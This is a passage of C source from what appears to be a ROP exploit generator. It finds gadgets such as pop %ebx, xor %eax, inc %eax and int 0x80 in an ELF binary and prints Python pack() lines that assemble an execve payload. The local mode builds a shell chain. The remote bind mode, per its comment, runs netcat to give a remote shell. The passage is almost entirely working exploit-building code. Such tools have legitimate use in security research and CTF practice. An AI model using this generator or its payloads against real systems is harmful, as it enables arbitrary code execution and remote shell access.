static void makepartie2_local(t_makecode *list_ins)
|
||
{
|
||
Elf32_Addr addr_pop_ebx;
|
||
Elf32_Addr addr_pop_ecx;
|
||
Elf32_Addr addr_pop_edx;
|
||
char *pop_ebx_gadget;
|
||
char *pop_ecx_gadget;
|
||
char *pop_edx_gadget;
|
||
|
||
addr_pop_ebx = ret_addr_makecodefunc(list_ins, "pop %ebx");
|
||
addr_pop_ecx = ret_addr_makecodefunc(list_ins, "pop %ecx");
|
||
addr_pop_edx = ret_addr_makecodefunc(list_ins, "pop %edx");
|
||
pop_ebx_gadget = get_gadget_since_addr(addr_pop_ebx);
|
||
pop_ecx_gadget = get_gadget_since_addr(addr_pop_ecx);
|
||
pop_edx_gadget = get_gadget_since_addr(addr_pop_edx);
|
||
|
||
/* set %ebx */
|
||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_ebx, pop_ebx_gadget, ENDC);
|
||
display_padding(how_many_pop_before(pop_ebx_gadget, "pop %ebx"));
|
||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data%s\n", BLUE, Addr_sData, ENDC);
|
||
display_padding(how_many_pop_after(pop_ebx_gadget, "pop %ebx"));
|
||
|
||
/* set %ecx */
|
||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_ecx, pop_ecx_gadget, ENDC);
|
||
display_padding(how_many_pop_before(pop_ecx_gadget, "pop %ecx"));
|
||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data + 8%s\n", BLUE, Addr_sData + 8, ENDC);
|
||
display_padding(how_many_pop_after(pop_ecx_gadget, "pop %ecx"));
|
||
|
||
/* set %edx */
|
||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_edx, pop_edx_gadget, ENDC);
|
||
display_padding(how_many_pop_before(pop_edx_gadget, "pop %edx"));
|
||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data + 8%s\n", BLUE, Addr_sData + 8, ENDC);
|
||
display_padding(how_many_pop_after(pop_edx_gadget, "pop %edx"));
|
||
}
|
||
|
||
/* partie 2 bis init reg => %ebx = "/usb/bin/netcat\0" | %ecx = arg | %edx = "\0" */
|
||
static void makepartie2_remote(t_makecode *list_ins)
|
||
{
|
||
Elf32_Addr addr_pop_ebx;
|
||
Elf32_Addr addr_pop_ecx;
|
||
Elf32_Addr addr_pop_edx;
|
||
char *pop_ebx_gadget;
|
||
char *pop_ecx_gadget;
|
||
char *pop_edx_gadget;
|
||
|
||
addr_pop_ebx = ret_addr_makecodefunc(list_ins, "pop %ebx");
|
||
addr_pop_ecx = ret_addr_makecodefunc(list_ins, "pop %ecx");
|
||
addr_pop_edx = ret_addr_makecodefunc(list_ins, "pop %edx");
|
||
pop_ebx_gadget = get_gadget_since_addr(addr_pop_ebx);
|
||
pop_ecx_gadget = get_gadget_since_addr(addr_pop_ecx);
|
||
pop_edx_gadget = get_gadget_since_addr(addr_pop_edx);
|
||
|
||
/* set %ebx */
|
||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_ebx, pop_ebx_gadget, ENDC);
|
||
display_padding(how_many_pop_before(pop_ebx_gadget, "pop %ebx"));
|
||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data%s\n", BLUE, Addr_sData, ENDC);
|
||
display_padding(how_many_pop_after(pop_ebx_gadget, "pop %ebx"));
|
||
|
||
/* set %ecx */
|
||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_ecx, pop_ecx_gadget, ENDC);
|
||
display_padding(how_many_pop_before(pop_ecx_gadget, "pop %ecx"));
|
||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data + 40%s\n", BLUE, Addr_sData + 40, ENDC);
|
||
display_padding(how_many_pop_after(pop_ecx_gadget, "pop %ecx"));
|
||
|
||
/* set %edx */
|
||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_edx, pop_edx_gadget, ENDC);
|
||
display_padding(how_many_pop_before(pop_edx_gadget, "pop %edx"));
|
||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data + 52%s\n", BLUE, Addr_sData + 52, ENDC);
|
||
display_padding(how_many_pop_after(pop_edx_gadget, "pop %edx"));
|
||
}
|
||
|
||
/* partie 3 init eax = 0xb (execve) */
|
||
static void makepartie3(t_makecode *list_ins)
|
||
{
|
||
Elf32_Addr addr_xor_eax;
|
||
Elf32_Addr addr_inc_eax;
|
||
char *xor_eax_gadget;
|
||
char *inc_eax_gadget;
|
||
int i = 0;
|
||
|
||
addr_xor_eax = ret_addr_makecodefunc(list_ins, "xor %eax,%eax");
|
||
addr_inc_eax = ret_addr_makecodefunc(list_ins, "inc %eax");
|
||
xor_eax_gadget = get_gadget_since_addr(addr_xor_eax);
|
||
inc_eax_gadget = get_gadget_since_addr(addr_inc_eax);
|
||
|
||
/* set %eax => 0 */
|
||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_xor_eax, xor_eax_gadget, ENDC);
|
||
display_padding(how_many_pop(xor_eax_gadget));
|
||
|
||
/* set %eax => 0xb for sys_execve() */
|
||
while (i != 0xb)
|
||
{
|
||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_inc_eax, inc_eax_gadget, ENDC);
|
||
display_padding(how_many_pop(inc_eax_gadget));
|
||
i++;
|
||
}
|
||
}
|
||
|
||
/* partie 4 call "int 0x80" or "sysenter" */
|
||
static void makepartie4(t_makecode *list_ins)
|
||
{
|
||
Elf32_Addr addr_int_0x80;
|
||
Elf32_Addr addr_sysenter;
|
||
Elf32_Addr addr_pop_ebp;
|
||
char *pop_ebp_gadget;
|
||
|
||
addr_int_0x80 = ret_addr_makecodefunc(list_ins, "int $0x80");
|
||
addr_sysenter = ret_addr_makecodefunc(list_ins, "sysenter");
|
||
addr_pop_ebp = ret_addr_makecodefunc(list_ins, "pop %ebp");
|
||
pop_ebp_gadget = get_gadget_since_addr(addr_pop_ebp);
|
||
|
||
if (addr_int_0x80)
|
||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # int $0x80%s\n", BLUE, addr_int_0x80, ENDC);
|
||
else if (addr_sysenter)
|
||
{
|
||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_ebp, pop_ebp_gadget, ENDC);
|
||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data %s\n", BLUE, Addr_sData, ENDC);
|
||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # sysenter%s\n", BLUE, addr_sysenter, ENDC);
|
||
}
|
||
}
|
||
|
||
void makecode(t_makecode *list_ins)
|
||
{
|
||
if (!bind_mode.flag)
|
||
{
|
||
makepartie1_local(list_ins);
|
||
makepartie2_local(list_ins);
|
||
}
|
||
else
|
||
{
|
||
makepartie1_remote(list_ins);
|
||
makepartie2_remote(list_ins);
|
||
}
|
||
makepartie3(list_ins);
|
||
makepartie4(list_ins);
|
||
fprintf(stdout, "\t%sEOF Payload%s\n", YELLOW, ENDC);
|
||
free_add_element(list_ins);
|
||
}
|